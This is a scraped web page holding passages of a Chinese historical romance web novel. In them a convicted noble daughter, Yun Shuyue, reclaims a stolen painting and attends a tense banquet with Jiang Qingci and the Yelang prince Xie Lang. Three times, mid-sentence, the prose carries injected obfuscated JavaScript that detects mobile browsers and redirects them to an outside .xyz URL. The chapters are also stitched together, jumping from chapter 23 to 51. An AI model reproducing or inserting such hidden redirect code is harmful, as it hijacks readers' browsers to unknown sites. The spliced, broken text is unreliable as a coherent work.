韩湘子背后的竹叶似在风中摇曳,这样的绘竹手法可是她苦练了多年的成果。 放下笔时,外头天已经黑了,她误了下工的时辰。 她匆匆将压尺往画纸上一放,便出了这里。 如今天黑得越来越早了,她摸着黑下了山,回家吃了饱饱的一顿饭。 第二日又起了个大早,她要尽早完成八面屏风的图样子,好让那老头正式将她提拔为漆画描金组的匠人。 她提着白布裙子蹦跶着跑上了山,可在昨日的画坊内,昨日的那张桌子上,她前后左右也没找到她昨天画的那幅画。 偏在这时候,那老头又来了。 “云舒月,你昨日的成果呢,拿出来看看,若是不会画,就还是去做打磨的活儿吧。” 云舒月东翻西找,一边道:“我画好了的,可不知怎的找不见了。” 她抬起头:“许是昨晚刮大风,将画纸刮出去了。” 她循着窗外看出去,想找到那幅画。 老头一言给她定了生死:“既如此,你还是先去做打磨的活儿吧,这也不是一道简单的工序,木头表面若是打磨不好,漆画就描不上去。” “若是你连打磨也做不好,我只能禀明上司让你哪儿来的回哪儿去了。” 云舒月着急想解释一番,可这里的人根本不听她的。 匠人们多数都有自己的师门,在每一行里扎了根抱了团以后都极其排外。 云舒月糟了几个冷眼,被赶出了画坊。 她心里委屈极了。 “我现在给你画一幅也行呀。” “昨日已经给了你一整日的机会,想偷懒也别用老办法。” 被赶到打磨房的云舒月弱小可怜又无助,她手上还是被塞了片砂纸,要她打磨地上的三面大柜子,打磨好了送去漆画处。 她恨得牙齿直痒痒,却拿眼前这些人毫无办法。 “好可恶啊,好生气啊。” “啊啊啊啊啊!” 她用力磨着面前的大柜子,一边打磨一边嘲讽:“这柜子规制都错了,定是给奴才房用的。” “啊啊啊啊怎么奴才房的柜子也值得上姑奶奶我来亲自打磨。” 后来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054667|162332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她抬着柜子送去漆画处时,亲眼见到了那张八面大屏风 那上面描好的韩湘子分明与她画上的一模一样。 云舒月气愤地放下柜子,指着屏风道:“这是我的画,为什么在这儿?” 那负责将画临摹在屏风上的匠人道:“这是何画师的画作,你凭什么说是你的,你有什么证据?” 云舒月气得叉腰:“整个京城的贵女都知道,能把竹叶画出随风摇曳意境的只有我。” 那匠人“嘁”了一声:“也不看看这是哪儿,除非你找来满京城的贵女替你作证,吹牛都不打草稿的,去去去,这不是你该来的地儿。” 云舒月被赶了出来,她跺着脚,想怒吼一声,迎头撞上个老熟人,给她生生憋了回去。 她想说:该死的江清辞怎么还不回来,来替她作证啊啊啊!她要江清辞帮她狠狠惩罚那个偷人画的何画师,以为她在这地方是个没靠山的小可怜儿吗,事实上,她的靠山大得过分! “上次见你还在山上采果子,这次见你已在这行宫里做匠人了,真是不得不让在下佩服你的升迁速度。” 云舒月见了他,往后退了两步,也不知眼前这人是不是专门讽刺她。 “你,你不是被抓起来了吗?” 那人往前靠了两步:“姑娘别怕,诺,那儿有两个官兵看管我呢。” 云舒月看过去,见到两个老熟人。 “哦,没事我就先走了。” 早知道这人在这个地方是这种待遇,她一开始就该好好巴结他的。 两方讨好,总有退路嘛,万一她哪天沦落到跟孙姨娘一样,不得不去夜郎国避难呢。 现在既然已经得罪了,还是先走为上。 那人又叫住了她:“姑娘,在下有个问题想问你。” 云舒月本是不想理他的,可又听见他说:“姑娘若是愿意解答,在下愿意将这枚玉佩作为谢礼相送。” 她便止住了脚步,笑盈盈道:“公子有何疑惑?” 她余光扫视着那枚玉佩,不错,是值钱的。 “在下想问,姑娘那日是如何看出在下不对劲的。” 公子琅一直很自信地认为,自己的中原话说得毫无破绽,一丝口音也无。 “可是我的口音有哪里不对?” 云舒月摇摇头:“公子的中原话十分正宗,莫说是在这黔州,就是在京里充当真正的我朝贵族,也是毫无破绽的,小女也不得不佩服。” 公子琅更疑惑了:“那在下究竟是何处模仿得不像。” 他自幼喜爱中原文化,如今礼仪、对话各方面都与大礼朝的贵公子无分别。 云舒月便道:“交领右衽的丝绸长袍是对的,但领口、袖口和衣襟边缘的云纹不对,一看就知道是次等绣娘的绣工。公子腰间坠着羊脂玉,但我们中原公子不会同时将玉珩、玉璜、玉琚串在一块儿。” “还有前圆后方的玉冠,叫冕冠,京中公子只会在祭祀、朝会的时候佩戴。” “公子以后若是有幸去了京城,可别出丑啊。” 云舒月抿唇笑着,眼珠里闪过戏谑的光,下巴微扬。 是京中贵女惯常嘲笑外地来的乡巴佬时的神色。 可看在谢琅眼里……这就是中原女子的自信吗,好迷人…… 21.第 21 章 谢琅听完一席话,自觉受益匪浅,朝云舒月行了个大礼。 “中原有句古语:于我有益者,皆为师。学生拜见老师。” 云舒月朝他伸出手,要拿到他事先承诺的谢礼。 谢琅便连忙把玉佩奉上。 “敢问老师,学生行的这拜礼,还有学生这递出玉佩的手法,可正确?” 谢琅在夜郎国也请过老师教自己中原礼仪,可那些老师许是连真正的大礼朝皇城也为曾到过,何曾懂得中原正统贵族礼仪。 云舒月无奈双手接过玉佩,揣进兜里。 “公子,在这种地方,没人会像你这样一副老学究的做派,你做得太夸张了,若是去了京城,照样会被人耻笑的。” 活像是从书本上照搬的姿势一样。 谢琅看着双手抱臂,一只脚踩在石墩上的姑娘,疑惑道:“老师,莫非要像您这样,才不会被耻笑?” 云舒月瞥了他一眼:“你首先要学的,是在什么地方该用什么礼仪,对什么人该摆什么姿态,你睁大眼看看这是哪里。” 四周都是山,两人踩在红土坡上,远处还有两只黄狗在打架。 云舒月上下扫视了一圈这位公子的穿着打扮,“啧”了一声,江清辞那种人在这地方都知道换宽松耐磨的棉袍穿,这人还穿着交领裹得不能喘气的丝绸锦袍。 谢琅脑子乱乱的,这中原礼仪怎么越学越复杂了。 眼前这女子靠谱吗? “在下谢琅,今日多谢姑娘解惑。” 云舒月伸手拍了拍他的肩,这谢琅生得好高,她得垫着脚才能拍到。 “你照着书本上学,不会出错,但会招人耻笑。” “但你若跟着我学,我保你去了京城能成为最受欢迎的公子。” 云舒月自己曾就是京中最受欢迎的名姝闺秀。 谢琅不好意思地笑了笑:“我只愿哪日能有幸入京亲自朝拜大礼朝陛下。” 云舒月心中疑惑,惯常听闻这夜郎国轻视我朝,不愿归顺,这国君四子怎的这般崇敬。 接下来的几日,云舒月在打磨房磨了几日的木头,想哭也哭不出来。 江清辞终于回来了。 在上丹奉台的半山腰见着她,也是吃了一惊。 江嘉懿在一旁解释了事情的来龙去脉,江清辞无话可说。 “现在人在打磨房待着呢。” 云舒月出来的时候,两只手上套着牛皮手套,一见着江清辞眼泪刷地就流出来了。 “清辞哥哥,你得帮月儿讨回公道。” 江清辞看她:“你这手套?” 质地粗狂,不像是他库房里会有的,可别是捉了头牛圈里的牛弄来的。 江嘉懿道:“公子琅给她的。” “公子琅?” “除了牛皮手套,看到没,她脚上还穿着虎皮靴。” 江清辞思绪短暂凌乱了一会儿,很快从脑海里抓出了一条正确的思路。 “先带我去见公子琅。” 他迈步继续往山上走去,云舒月踏着虎皮靴追了两步:“清辞哥哥,见完谢琅记得回来找我!” 云舒月回到漆画描金组,正要进打磨房,那老工匠拉住她。 “你认识江校尉?” 云舒月抬眼看了一圈周围,那位何画师心虚地低下了头。 云舒月便扬着下巴高傲地“嗯”了一声。 何画师忙道:“汤师别信她的,江校尉刚刚理都没理她,二人关系定不像她说的那样好。” 云舒月跺脚道:“这与我们俩关系好不好有关系吗?重点是,他是证人!可以证明那幅韩湘子是我画的。江清辞就算再不爱搭理我,也必定会站在正义的一方。” 老工匠汤师沉思了片刻,便道:“也不必劳烦江大人再跑一趟了,这样吧,我再给你一次机会,你今日再画一幅何仙姑,若你画的合格,我便将你重新调回画坊。” 云舒月可不是好糊弄的性子,歪头问道:“你是不想让江大人再跑一趟,还是就想将这件事情轻拿轻放?” 汤师捋捋胡须,淡然道:“这件事情,你不愿意轻拿轻放又能怎么样呢?你别忘了,你只是个罪犯。” 何画师道:“汤师给你机会你就接住,万一等会你请不来江大人,就等着被赶回采石场去吧。” 云舒月指着何画师对汤师道:“那这个偷画的人呢?” 汤师道:“他是我徒弟,怎么会偷画呢?” 云舒月点点头,她算是明白了,汤师想保何画师,两人就赌她是息事宁人还是非要喊来江清辞。 可该死的,她自己也不知道江清辞还来不来啊。 上一次见面……上一次见面她诓他帮她蒸了三缸糯米,那糯米蒸得还怪好的。 他会不会还在生她气。 江清辞不来,她得靠自己。 她抱臂一笑:“像你们这种常年在荒山野岭里干活的匠人,不知道这件事情也正常。” “凡是从京里出来的人,无人不知我云舒月与江清辞是两小无猜、青梅竹马的情分,这事情随便打听打听就知道了。” 此话一出,旁边倒是有人开始窃窃私语了。 “此事好像听牢城营的人说起过。” 云舒月摊开纸笔开始作画,却没听汤师的画何仙姑,而是画了一幅一模一样的韩湘子出来,就连竹叶摆动的幅度都一样。 由于曾画过一遍,装在脑海里的图像临摹起来很快。 那负责往物件儿上临摹的漆画师也看傻了:“这,这跟之前那幅图一模一样,何画师,你干嘛偷一个罪犯的画。” “现在物证齐全,汤师,请问你是要等我将江清辞喊过来,还是直接将你的徒弟赶走。” 汤师怕被牵连,几相权衡之下,也没得选。 何画师吓得脸色惨白。 “师父,徒儿若是下山了,往后就再也不能做这一行了。” 汤师闭眼宣判:“你偷窃他人画作,罪无可恕,逐出师门。” 何画师又转而去求云舒月:“你饶了我这一回吧,我以后一定不干这事了。” 云舒月白了他一眼,得罪过她的人,从来就没有好下场的。 她便作势道:“汤师,他要是再不走,我可就要上山找帮手来了。” 汤师也没办法,只好亲手将徒弟赶下山。 “那就说好了,此事咱们已经解决,就不必劳烦江大人动身了。” 云舒月轻轻点头,恰在此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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为了再找补找补,汤师便道:“云画师,以后你就是咱们画坊的一等画师,可承担永晖殿一应器具的图案描绘。” 永晖殿是大殿,皇上或妃位以上主子用的。 这项活计可谓极大给云舒月长脸,她拎着画笔,誓要大干一场。 “漆画描金组的一等画师,若是论工钱,她一月能拿二十两,三个月就能在黔州城里买栋宅子,三年就能到京城买栋宅子,也算翻身成功了,可惜她是罪犯,只能换每日三个白面馒头,两只烧鸡顶天了。” 江嘉懿掰着手指算数,一边摇摇头,颇替云二感到惋惜。 江清辞道:“她家被抄的那些银子,够在京城买下一万栋宅子,你觉得她会在意这点工钱吗?还不够她买只珠钗的。” 她超在意! 正在组里看着其他“同僚”排队领工钱的云舒月,口水都要流出来了。 “烧鸡,量大,管饱,你是牢城营里混得最好的罪犯!” 给她发饭的人如此说道。 22.第 22 章 “啧,要不是你时常帮着她,云舒月现在还在啃黄面馍馍呢,我说你也别太爱了。” 江嘉懿闻着刚端进来香气扑鼻的八宝鸭,气愤说道。 江清辞摔下笔,反驳:“我帮她什么了?不就给了几件衣服,几样家具,吃食总共也没给过多少。” 难言的暴躁。 江嘉懿侧头盯着江清辞,试图看出他脸上的破绽:“死不承认?还是死要面子?” 江清辞深吸了一口气,试图解释:“她总是自己从灰浆坊升到漆画描金组的吧,她总是自己升为一等画师的吧,我刚刚下去一趟,她就问我要了只八宝鸭,什么也没要。” “我给只鸭子还不行?” “还有她手上戴的,脚上穿的,那是我给的吗?你问问公子琅为什么要给她。” 江嘉懿插缝问道:“为什么呢?”眨眼。 “云舒月在京里就是招人喜欢的性子,她在哪里都会过得好的,你明白吗?” 江清辞直视着江嘉懿,要他承认云舒月过得好与自己无关。 江嘉懿恍然大悟:“哦,所以她招人喜欢,又招到了你的喜欢,啧,三侄,你既然喜欢,干嘛要装呢,说实话,之前的事情是挺让你丢脸的,不过说来说去脸面又算得了什么呢。” 江清辞再次摔笔:“我与你无话可说。” 云舒月来了,屋内恢复安静。 江嘉懿指着桌上还冒热气的鸭子道:“你不来,江清辞都不让我动筷子,你快些上桌吧。” 云舒月已上桌,乖乖坐好,猛吸了一口:“真香啊,清辞哥哥,谢谢你。” “不用谢。”他将桌上被笔上的墨划得乌糟的纸张揉成一团,塞进纸匣里,声音冷得像冰块。 冷得云舒月浑身一颤,赶紧夹了块儿肉放入口中压惊。 公子琅来了,快步踏进门时,嗅到空中飘着的香气,叹道:“素闻中原美食源远流长,今日总算得闻,只是不知江兄、江老兄,能否招待一二。” 待他进了屋子里一看,又拜了个大礼下去:“学生见过老师。” 云舒月端坐在团花圆凳上,两只穿着虎皮靴的脚排排踏在桌子的横枨上,一只手正拿着筷子往嘴里塞肉。 心中无奈,早教过他了,礼仪不分场合就是来搞笑的,也不看看这里是什么气氛,朝她拜什么大礼呀。 江清辞手上的笔又被磕了一次,江嘉懿偷偷看着他笑。 小声道:“你说的云二招人喜欢,就是这样的?” 江清辞面上挂起假笑:“谢兄来了,一并入席用饭吧。” 这桌席上,偏有个率先动筷的云舒月,谁也没说她不知礼数。 谢琅心底盘算起来,云姑娘是他老师,该先动筷,可另外这二人……莫非也臣服于云姑娘? 他对中原礼仪只知形不知意,再匪夷所思的推论他也只有相信。 云舒月面上不是很高兴,她剜了江清辞一眼。 江清辞落座后,受了她这一眼,只是不知这是为何。 可他忙着应付公子琅,没心思管云舒月。 公子琅鬼鬼祟祟探入牢城营,若不从他身上挖出点什么,江清辞是不会轻易放人走的。 云舒月埋头吃饭不吭声,桌上另外三人也不吭声。 公子琅是因为学了“食不言、寝不语”这句话才不吭声。 江清辞是他本就不爱说话。 一顿饭吃完,云舒月夹走了最后一根鸭腿。 江嘉懿邀着公子琅出门:“中原有古话,饭后百步走,活到九十九。” 两人便携手走了出去。 江清辞看向云舒月:“是有哪里吃得不好吗?” 云舒月嘟着嘴,筷子往桌上一放:“八宝鸭不是给我一个人的吗,结果四个人分着吃。” “……我没吃。”他没动过荤菜,就夹了几筷子青菜。 “江小伯和谢琅都吃了,还吃的大块儿的。” 江清辞有些想笑,怎么从前不知道云舒月是个护食的。 她往常要他买给她的糕点,都是当场拿去给各家贵女分而食之的。若是有人不吃,她还要生气,当即作势喊道:“清辞哥哥,你只知道我爱吃玫瑰卷,倒是我粗心大意了,忘了××不爱吃这个,不好意思啊××。” “厨房还有一只,你待会儿拿回家去吧。”江清辞特意叫厨房多备了一只鸭子,就怕她吃不够。 云舒月带着鸭子回家时,云明旭站在草屋前的荒凉空地上,目光呆滞地望着远方。 他原本穿着破旧不堪的烂衣裳,被云舒月收拾成了一个儒雅的农村男人模样。 他的背佝偻了许多,脸上胡须凌乱。 云舒月看不过去,上前道:“父亲,不是有剃刀吗,为什么不将胡须剃一剃?” 云明旭道:“父亲不是从前体面的尚书了,胡须剃不剃的又有什么关系。” 云舒月有些生气:“父亲,人可以一时地落入困境,却不能丢了志气!你若是这副模样……女儿说话不好听,你丢了我的脸。” 她别开头,语气冷硬。 给云明旭听愣住了。 从前只觉得自己这个女儿比他任何一个孩子都有能力,却从未真正了解过她。 林书柔将云明旭拉着进了屋子:“女儿要你剃你就剃。” 云舒月进了屋子,将家里每个人都扫视了一遍,除了日渐颓废的父亲,大家都还收拾得体面。 柳姨娘头上还别着秋日新开的花。 三妹云千雁腕上还套着藤编的手环。 到了晚上,云舒月缩在母亲怀里睡觉,隔间睡着两个姨娘和她们的女儿,中间都有竹帘隔开。 父亲独自睡在进门左侧一张较大的床铺上,由厚布帘隔开。 哥哥睡在靠近窗户的角落处,用布帘围成了一个小空间。 半夜,万籁俱静之时,云舒月睡得很死,母亲的怀抱很舒服,并且香香的。 她并没有听到柳姨娘的隔间传出的声响,也不知道柳姨娘半夜偷偷溜去了父亲的隔间。 林书柔却将事情的经过听得清楚,她将被子往上拢了些,罩住了女儿的头。 轻轻叹着气。 王姨娘也听见了,柳姨娘生得貌美,又会勾人,老爷从前一直都是最宠爱她的。 如今到了牢城营也有段时日了,日子也已经安稳了下来,两位娇妾、一位贤妻都在身边,老爷若是起了些心思,也不是什么怪事。 就是大家都在这同一屋檐下,闹出声响多少有些不体面了。 云鸿祯的鼾声如雷,醒是不会醒一点的。 王姨娘与怀中的云梓莹对视一眼,无奈地叹了口气。 第二日一大早,云明旭换上了一身棉麻短打,胡须也剃得干干净净,路过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15061809|162332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳姨娘时,偷摸掐了她屁股一把。 云千雁和云梓莹每日将家中收拾得井井有条,云明旭也逐渐过回了有人伺候他的日子。 现在家中不缺吃食,他们这些在采石场干活的也不用干得多卖力。 但云明旭心中还是不舒畅,一个中年失意的男人,无论如何也不会舒畅。 王姨娘给他手里塞了个白面馒头,叫他就着鸡蛋吃,云明旭却觉得难以下咽。 “父亲,是觉得不好吃吗?” 云明旭看了女儿一眼,忽然捂脸呜呜哭了起来:“月儿啊,父亲对不起你。” 云舒月觉得他莫名其妙,吃完早饭后,高高兴兴地上了山。 眼看着八面屏风慢慢被她的画填满,她心里的滋味别提多舒服了。 今天,山上来了贵人,丹奉台下的守卫多了好几层,云舒月也不能上去。 谢琅过来找她,把上头的情况给她透了个干净。 “老师,我等会儿要去拜见江首辅,你帮我看看我这身穿着打扮可对?” 他穿着交领右衽的丝绸大袖长袍,头戴进贤冠,模样斯文有礼。 还挺像个样子。 云舒月先不答他的问题,只歪头问道:“听闻你是夜郎国国君第四子?” 谢琅腼腆地点了点头:“正是。” “那你为何不穿你的世子朝服?” 谢琅挠了挠头:“啊这……你若是哪天见了我们夜郎国的服饰,你便懂得了。” 云舒月笑道:“我见过的,不就是对襟短上衣配上夹趾竹屐嘛,头上再旋一个螺髻。” 她歪着头,露出一排洁白的贝齿,笑意在脸上徐徐散开,明媚而娇艳,眼睛弯成了月牙,睫毛扑闪扑闪的。 明明这笑容是带着些对边境小国不屑的嘲讽,却让人看得心神荡漾。 她自己明明就还穿着普通又宽松的棉袍。 谢琅道:“我那儿有一套极华美的大礼朝女子宫装,是我偶然所得,一直珍藏,你若是不嫌弃,不妨拿去穿,我从未见过女子穿它上身,很想看看你穿上它的样子。” 云舒月怔愣了一瞬,注视着谢琅的表情,他对她说的这话,单听起来好不清白。 可他模样真诚,就真的只是想看看她穿上那套宫装的样子。 “公子琅,你既是夜郎国中人,为何这般崇敬中原文化。” 谢琅神情落寞了些,道:“归附大礼朝是大势所趋,那些独立派的人看不清现状而已。” 云舒月眉头微蹙,这话,她不该听。 “那你何时将宫装拿给我?” 谢琅回过神来,忙道:“我这就去取,你等着,晚上丹奉台有宴席,你穿上过来。” 云舒月道:“谢琅,我今天上不去丹奉台。” 她脸蛋圆了一些,头发全部拢在肩后,用发带束成一条垂髻,额前围了几缕碎发。 谢琅愣了愣:“我上次给你的玉佩,你拿着那个就能上来呀。” 云舒月从腰间口袋里取出那枚玉佩,诧异道:“这个?为何?” 仔细一看,这玉佩上果然刻着一个“琅”字,她顿时觉得这玉佩烫手得很。 “你就说,你是公子琅的贵客,是我的人,便能上来了。” 谢琅说完话便走了,云舒月反应了一阵儿,喊住他:“谢琅,那我拿着这个,你能带我离开这里吗?” 23.第 23 章 云舒月坐在铜镜前,傍晚的阳光打进来细碎的光影,这张梳妆桌是她从江清辞的库房里要来的。 摆在这草屋里显得有些不伦不类。 诗筠给云舒月挽了一个精致高耸的发髻,许久未梳过,手不免有些生了。 妆奁中并无多少首饰,不过几根木簪子,几根布带子。 诗筠从后山上摘了绽放得盛大的桃色芙蓉,别在她鬓边。 谢琅送来的宫装是烟霞色的,腰身束得很紧,甫以叮叮当当的各式珍珠,的确是一件极名贵的大礼朝宫装。 两手并于腹前时,大袖曳地,裙摆拖地三尺,行走间如云霞飘动。 云舒月挺直了腰背,若不是自己还身在草屋,倒以为自己还是那正要去往皇宫赴宴的尚书府嫡女。 可她喜欢赴宴,各种大大小小的宴都少不了她在其中挥舞长袖。 今晚在丹奉台上的宴,或许她到得不合时宜,可她还是想去。 云明旭问她:“有何人在?” 云舒月答:“夜郎国国君第四子,公子琅在。” 云明旭蹙眉又道:“可又是为了贸易之事来我朝商谈的。” 云舒月摇摇头:“女儿不清楚,可公子琅似乎并不参与那些,他倒是唯愿夜郎国归顺我朝。” 云明旭斥道:“绝不可能,他们背后必定揣着什么更大的谋划。” “父亲曾与夜郎国中人接触过?” 云明旭道:“就贸易一事,曾接触过几回,夜郎国尽是奸诈之徒,不可信。” 诗筠替云舒月拎着裙摆,天色渐沉时,二人上了山。 丹奉台被暮色笼罩,流动着的些微火光中,摆着些吃食。 是极小的一场宴会。 云舒月来了此,倒是成了焦点。 华服流光溢彩,美人相得益彰。 江清辞隔着重重烛光看她,今晚是场应对公子琅的鸿门宴,他不知道她会来。 她的黑发如绸缎,耸着高高的髻,烛光照耀下,皮肤细腻,骨肉匀称,华服就如往常一样,在她身上只是陪衬。 江清辞眸色渐沉下去,不自觉注视她的一举一动。 在那人目光扫视至他时,他又迅速收回。 云舒月裙摆摇曳,落座于公子琅身旁。 她环视一圈,江祖父并不在,倒是松了口气。 直到身前的桌上摆满了山珍海味、珍馐美馔,云舒月立刻被吸引过去,再未注意场上局面。 江清辞端坐于主位,朝谢琅微笑:“世子招呼也不打一声,已经到我的丹奉台逗留多日,究竟有何目的,不妨直说。” 他端起酒杯,浅酌一口,眼神中透着审视。 江嘉懿在他身旁小声道:“云二怎么又跟谢琅牵扯到一块儿了。” 江清辞瞥他一眼:“她生性纯良,叫她来定是谢琅耍的把戏,她只是来蹭饭的,你叫祈言待会儿把那道火腿炖肘子端她那桌去。” 云舒月一入席就开始动筷,这地方没人要她守礼数。 她一个罪犯也不需要守礼数。 谢琅道:“本世子只是游历至此,本想待几天就走的,可你们派了官兵日日把守我的行踪,我想走也走不了啊。” 他拎起酒壶倒了一杯酒喝,砸了咂嘴,叹道:“你们这里的酒真是香啊。” 云舒月百忙之中抽出口道:“这酒算什么呀,你该尝尝京里的玉露春,那才叫一个沉醉不知归路呢。” 她微微仰头,举起琉璃盏将酒液倒入喉中,露出修长的脖颈,眼尾轻挑,眼眸在人群中转了一圈,似是意识到现场气氛紧张,并无人接她的话,又娇艳笑着:“是我说错话了,自罚三杯,清辞哥哥别生我气。” 她的眼眸本如秋水般澄澈,此刻被酒液一醺,愈发迷离,两颊泛起淡淡红晕。 她放下酒盏,嘴角勾起一抹浅笑,笑容里夹着几分慵懒与妩媚。 江清辞不言语,谢琅倒是极配合她,忙问道:“玉露春是何酒,只有在你们大礼朝的京城才能喝到吗?”他面上满是向往。 云舒月还未开口,江清辞道:“京城?世子这样的身份,怕是别想了,就算你想去,你父王能让你去吗?” 谢琅道:“你怎的这般小气。” 他朝云舒月摇摇头,云舒月朝他耸耸肩。 “我父王本也早就想见识见识中原礼仪之邦了,江校尉这是偏见。” 江清辞朗声道:“既然想见识,不如直接归顺,我朝可派使臣过去尽数教授给你们。” 谢琅笑容一僵,忽地从怀里掏出一张草案:“不废话了,来聊正事。” 他往云舒月碗里夹了块脱了骨的猪肘:“美人安心用膳便是。” 草案已递到江清辞手上,他目光快速扫过,露出一丝意味深长的笑容,“贵国这便宜真是占不够啊。” 谢琅拱手道:“贵国所需的铜矿唯有我国境内才有,这份关税条约,是合理的。” 场面落入了安静,气氛紧张且凝滞。 云舒月忽道:“清辞哥哥,我那日在你的库房中,不就见过一箱子玉露春吗,何不拿出来待客呢?” 谢琅活像是跟她妇唱夫随的一般,忙道:“此话当真?那可太好了!” 云舒月朝江清辞扬起下巴,江清辞抿唇招手,沉声道:“来人,上玉露春。” 玉露春一到,云舒月已酒过三巡,她站起身,裙摆在地面上晃出一道光影。 “我来给诸位倒酒吧,今晚难得相聚,不负这良宵美景才是正事。” 江清辞未能将眼神移开一分,看着眼前的云舒月,一切都好像回到了从前。 回到从前也没什么不好的,她是永远要引起所有人注意的名媛,而他永远偏向她。 酒液汩汩流进谢琅的琉璃盏中,四溢的酒香瞬时扑入鼻中,令人陶醉。 江嘉懿隔得远远地“啧”了一声:“江清辞,你管不管她,云舒月向来是这般招摇的吗?” 江清辞只道:“不管。” 他静静坐在一旁,目光温柔而深邃,将她的一举一动都收纳入眼底。 云舒月手中稳稳执着酒壶,谢琅刚一杯酒下肚,她朱唇轻启:“好酒量,再来一杯。” 她一边说着,一边将酒杯递到他唇边,笑得狡黠,眼神中满是期待与不容拒绝的意味。 谢琅伸手止住:“我一个人喝多没意思。” 云舒月手腕轻轻一转,另一只手托住他的下巴,直接往里灌:“老师教你这中原酒场上的规矩,美人敬的酒,不可不喝,若你是客,那主人敬的酒,更不能不喝。” 谢琅把住她的手,眼底头一回闪出了云舒月看不懂的光,他直直注视着她:“既然你既是美人,又是主人,那我便喝。”他就着她的手腕将酒饮下。 夜郎国民风彪悍,未曾在意两人距离,云舒月当罪犯已久,更不能察觉不妥当的触碰。 江清辞将酒盏重重落桌,朝云舒月伸出另一只手:“云舒月,到我这儿来。” 他身旁并无空椅,倒是他自己坐的那张宽椅上还能容下一名女子。 云舒月将动未动,谢琅挟住她的手腕,侧头看向江清辞:“正好今日问江校尉要人,她跟我回夜郎国,草案上的比例还可以谈。” 云舒月有些吃惊,谢琅竟愿为了自己在贸易之事上让步。 她又转头看向江清辞, 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江清辞走进屋子,坐在桌子后面的椅子上,端眼看她。 “清辞哥哥,多谢你的照顾,但我,我不能一辈子待在这里……”声音柔弱,但她的眼神撞进他眼眸时,他感触到了其中剧烈的渴望。 那是他最熟悉的,也是使他永远不能从她身上移目的,她的欣欣生机。 也是每次那柔弱的祈求他或是娇怯的撒娇时永远与眼神中欲望不符的矛盾感。 江清辞深吸了一口气:“对不起。” 声音沉而尾音长。 云舒月有些错愕:“为什么说对不起?” 江清辞再一次朝她伸出手,她愣了一会儿,这次朝他走过去,将手放进了他掌心里。 江清辞猛地将她手握住。 二人今日饮酒都不少。 他将她拽至身边,她今日身上的宫装将腰身缠得极细。 他醉眼朦胧看她,他的月儿啊,从一个小姑娘长到这么大,如今已经学会给自己找出路了。 谢琅愿意付出代价带她走,他一点也不吃惊,只要她想,她有让任何人喜欢她的能力。 云舒月,天生就是要人摘星星摘月亮下来供着她的。 婀娜腰肢在前,江清辞尚能维持清醒,他只是将她的手捏在手心里,丝丝缕缕柔弱无骨的暖意便能传遍全身。 云舒月静静站着,任由他握着。 云舒月离开此屋的时候,江清辞并没有说什么,当她走到隔间时,她听见了里头两人的说话声。 她捂住嘴,江祖父竟真的在此。 屋里二人正是江首辅和江小伯父子俩。 “三年后皇上便要召咱们回京……届时朝中便是我江家的天下……” 云舒月捂住唇,抵在门后,听得瞪大了眼。 江清辞心想,他不能让她走啊,她朝他撒了这么久的娇,便就这样算了? 江清辞不善言辞,许多话说不出口。 要他说什么呢?说: 江清辞甚爱云舒月,江清辞甚不舍云舒月。 江清辞只是舍不下脸面,但无论什么都愿意给云舒月。 江清辞愿意把将来如何告知她,问问云舒月愿不愿意留下来。 他隐在墙后,酒后的脸颊泛红,几缕碎发垂落在额间,随着夜里的微风轻轻晃动。 他说:“云舒月,其实我,其实我一直希望,你能收回那个傍晚对我说的话,我们一切都还如往常一般……你可不可以,不要再说那样的话了。” 50-60 第51章 第51章常备避子药 江清辞惊讶道:“咱们都那样了,你还不见?” 他单手支在床头,捧着她的脸蛋,目光深情。 帐幔轻垂,朦胧如雾,指尖滑过她的脸颊,她的脸颊像一颗熟透的蜜桃,唇珠湿漉漉的,他手轻抚过。 “见一下吧,叫我母亲,祖父,把你名字写进族谱。” 他微微俯身,昏黄的光影在他脸上跳跃。 云舒月仍摇头:“不见。” 他起身站到窗边,披散着头发,晨光待他极好,锦袍上的丝线在微光中闪烁着细腻光泽,他真是将自己收拾得极为板正,平整不见一丝褶皱,腰间一条同色丝绦紧紧束住,愈发显得身姿挺拔,像清风中屹立的翠竹。 云舒月再低头看看自己,就脖子上挂了个肚兜,还没来得及穿别的,她是习惯了,每天早晨起来之前,先在床上磨蹭一会儿,衣服也不着急穿,拿被子裹着自己。 江清辞一头如墨长发肆意披散在肩头,那发丝在晨光下泛着柔和的光泽,像一匹绸缎。 当他稍稍侧过头,面庞英俊,剑眉斜飞,认识了多年的公子,今日身上忽地多了一丝意气风发少年气,双眸似藏着星辰。 “那好吧,我尊重你的决定。” 江清辞并不强求她。 云舒月看他看的呆了,一会儿又觉得,凭什么他这样板板正正,真是气死人了。 “清辞哥哥,你过来。” 她薅出白白嫩嫩的手臂招呼他,连带着,肚兜里裹着的肉也跟着晃。 那两根细细丝带系着的布料,似掉非掉的。 江清辞愣了愣,朝她走过去,手端在腰间,柔声道:“月儿,该起来了,再不起床,不合规矩了。” 他蹙着眉,劝她。 